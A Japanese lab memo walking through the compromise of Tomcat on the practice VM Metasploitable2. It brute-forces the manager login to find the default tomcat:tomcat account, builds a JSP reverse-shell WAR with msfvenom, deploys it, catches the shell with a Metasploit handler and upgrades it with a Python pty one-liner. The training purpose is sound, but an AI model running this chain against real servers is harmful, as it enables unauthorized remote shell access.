Metasploitable2のTomcatをエクスプロイトする備忘録です。
Tomcatのデフォルトアカウントが有効になっている脆弱性を利用して、リバースシェルでエクスプロイトします。
Metasploitでエクスプロイトする
Kali LinuxのIPアドレス:192.168.56.10
Metasploitable2のサーバーのIPアドレス:192.168.56.20
Metasploitの起動前にファイルを作成します。
空でもいいようですが、無いとエラーになるため。
touch tomcat_creds
Tomcatの管理者ログインをデフォルトアカウントで、ブルートフォース攻撃します。
ユーザーパスファイルとして、さっき作成したファイルをセットします。
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USERPASS_FILE /root/tomcat_creds
USERPASS_FILE => /root/tomcat_creds
攻撃ポートとして、8180番ポート。
攻撃IPアドレスとして、192.168.56.20をセットします。
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
exploitします。
Metasploitable2の場合、ユーザー名:tomcat、パスワード:tomcatでログインできます。
msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit
[!] No active DB -- Credential data will not be saved!
[-] 192.168.56.20:8180 - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.56.20:8180 - LOGIN FAILED: admin:manager (Incorrect)
.
.
.
[-] 192.168.56.20:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.56.20:8180 - Login Successful: tomcat:tomcat
[-] 192.168.56.20:8180 - LOGIN FAILED: both:admin (Incorrect)
.
.
.
[-] 192.168.56.20:8180 - LOGIN FAILED: xampp:ADMIN (Incorrect)
[-] 192.168.56.20:8180 - LOGIN FAILED: xampp:xampp (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
ペイロードを作成する
以下のコマンドで、Tomcatにアップロードするペイロード(shell.war)を作成します。
msf6 auxiliary(scanner/http/tomcat_mgr_login) > msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f war -o shell.war
[*] exec: msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f war -o shell.war
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
Payload size: 1094 bytes
Final size of war file: 1094 bytes
Saved as: shell.war
ブラウザで、Tomcatの管理者画面にアクセスし、ユーザー名:tomcat、パスワード:tomcatでログインします。
http://192.168.56.20:8180/manager/html
「WAR file to deploy」の「Browse」をクリックして、作成したshell.warを選択して、Openボタンをクリックします。
リバースシェルを待ち受ける
汎用のペイロードハンドラーを選択します。
msf6 auxiliary(scanner/http/tomcat_mgr_login) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
リバースシェルのpayloadを選択します。
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
待ち受け用のIPアドレスとポートをセットします。
msf6 exploit(multi/handler) > set LHOST 192.168.56.10
LHOST => 192.168.56.10
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
exploitします。
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.56.10:4444
ブラウザから、shell.warにアクセスします。
http://192.168.56.20:8180/shell/
コネクションが確立します。
[*] Command shell session 1 opened (192.168.56.10:4444 -> 192.168.56.20:33178) at 2024-10-05 21:37:17 +0900
whoami
tomcat55
hostname
metasploitable
シェルが無いので、対話的シェルの出し方。
python -c 'import pty;pty.spawn("/bin/bash")'
tomcat55@metasploitable:/$
プロンプトが表示されます。